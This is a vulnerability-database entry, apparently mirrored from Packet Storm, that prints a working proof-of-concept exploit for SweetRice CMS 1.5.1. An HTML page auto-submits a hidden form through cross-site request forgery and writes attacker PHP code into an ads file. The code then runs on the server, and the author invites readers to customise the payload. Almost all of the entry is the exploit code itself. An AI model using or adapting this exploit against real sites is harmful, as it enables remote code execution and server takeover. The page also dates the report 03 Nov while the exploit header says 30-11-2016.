Lucene search
K

SweetRice 1.5.1 Code Execution

🗓️ 03 Nov 2016 00:00:00Reported by Ashiyane Digital Security TeamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 110 Views

SweetRice 1.5.1 Arbitrary Code Execution vulnerability in Adding Ads section allowing attacker to execute PHP cod

Code
`<!--  
# Exploit Title: SweetRice 1.5.1 Arbitrary Code Execution  
# Date: 30-11-2016  
# Exploit Author: Ashiyane Digital Security Team  
# Vendor Homepage: http://www.basic-cms.org/  
# Software Link: http://www.basic-cms.org/attachment/sweetrice-1.5.1.zip  
# Version: 1.5.1  
  
  
# Description :  
  
# In SweetRice CMS Panel In Adding Ads Section SweetRice Allow To Admin Add  
PHP Codes In Ads File  
# A CSRF Vulnerabilty In Adding Ads Section Allow To Attacker To Execute  
PHP Codes On Server .  
# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; phpinfo();   
Code You Can  
Customize Exploit For Your Self .  
  
# Exploit :  
-->  
  
<html>  
<body onload="document.exploit.submit();">  
<form action="http://localhost/sweetrice/as/?type=ad&mode=save"  
method="POST" name="exploit">  
<input type="hidden" name="adk" value="hacked"/>  
<textarea type="hidden" name="adv">  
<?php  
echo '<h1> Hacked </h1>';  
phpinfo();?>  
</textarea>  
</form>  
</body>  
</html>  
  
<!--  
# After HTML File Executed You Can Access Page In  
http://localhost/sweetrice/inc/ads/hacked.php  
-->  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation